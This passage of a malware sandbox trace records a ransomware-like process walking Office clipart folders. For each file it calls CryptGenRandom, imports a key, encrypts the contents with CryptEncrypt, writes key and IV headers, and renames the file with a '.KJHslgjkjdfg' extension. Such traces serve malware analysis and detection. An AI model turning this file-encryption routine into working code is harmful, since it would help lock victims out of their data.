office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.kjhslgjkjdfg")) returned 1 [0196.258] CloseHandle (hObject=0x130) returned 1 [0196.258] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0196.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.259] GetProcessHeap () returned 0x2ef0000 [0196.259] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.259] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.259] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.264] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.264] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.264] GetProcessHeap () returned 0x2ef0000 [0196.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.265] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.265] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.265] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.265] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.265] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7a8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7a8, lpOverlapped=0x0) returned 1 [0196.266] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7b0, dwBufLen=0x7b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7b0) returned 1 [0196.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.266] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7b0, lpOverlapped=0x0) returned 1 [0196.266] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.266] SetEndOfFile (hFile=0x130) returned 1 [0196.269] GetProcessHeap () returned 0x2ef0000 [0196.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.269] GetProcessHeap () returned 0x2ef0000 [0196.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.kjhslgjkjdfg")) returned 1 [0196.270] CloseHandle (hObject=0x130) returned 1 [0196.270] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0196.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.272] GetProcessHeap () returned 0x2ef0000 [0196.272] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.272] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0196.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.274] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.274] GetProcessHeap () returned 0x2ef0000 [0196.274] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.274] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.274] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.274] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.275] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.275] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.275] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.275] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.275] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe4e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe4e, lpOverlapped=0x0) returned 1 [0196.275] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe50, dwBufLen=0xe50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe50) returned 1 [0196.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.275] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe50, lpOverlapped=0x0) returned 1 [0196.275] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.275] SetEndOfFile (hFile=0x130) returned 1 [0196.278] GetProcessHeap () returned 0x2ef0000 [0196.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.278] GetProcessHeap () returned 0x2ef0000 [0196.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.kjhslgjkjdfg")) returned 1 [0196.279] CloseHandle (hObject=0x130) returned 1 [0196.279] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0196.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.280] GetProcessHeap () returned 0x2ef0000 [0196.280] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.280] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.283] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.283] GetProcessHeap () returned 0x2ef0000 [0196.283] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.283] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.283] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.283] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.283] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.283] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.283] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbc8, lpOverlapped=0x0) returned 1 [0196.284] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0) returned 1 [0196.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.284] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbd0, lpOverlapped=0x0) returned 1 [0196.284] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.284] SetEndOfFile (hFile=0x130) returned 1 [0196.285] GetProcessHeap () returned 0x2ef0000 [0196.285] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.285] GetProcessHeap () returned 0x2ef0000 [0196.285] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.kjhslgjkjdfg")) returned 1 [0196.286] CloseHandle (hObject=0x130) returned 1 [0196.286] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0196.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.287] GetProcessHeap () returned 0x2ef0000 [0196.287] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.287] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.287] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.289] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.289] GetProcessHeap () returned 0x2ef0000 [0196.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.289] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.289] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.289] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.289] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5f8, lpOverlapped=0x0) returned 1 [0196.290] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x600, dwBufLen=0x600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x600) returned 1 [0196.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.290] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x600, lpOverlapped=0x0) returned 1 [0196.290] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.290] SetEndOfFile (hFile=0x130) returned 1 [0196.291] GetProcessHeap () returned 0x2ef0000 [0196.291] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.291] GetProcessHeap () returned 0x2ef0000 [0196.291] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.kjhslgjkjdfg")) returned 1 [0196.292] CloseHandle (hObject=0x130) returned 1 [0196.292] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0196.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 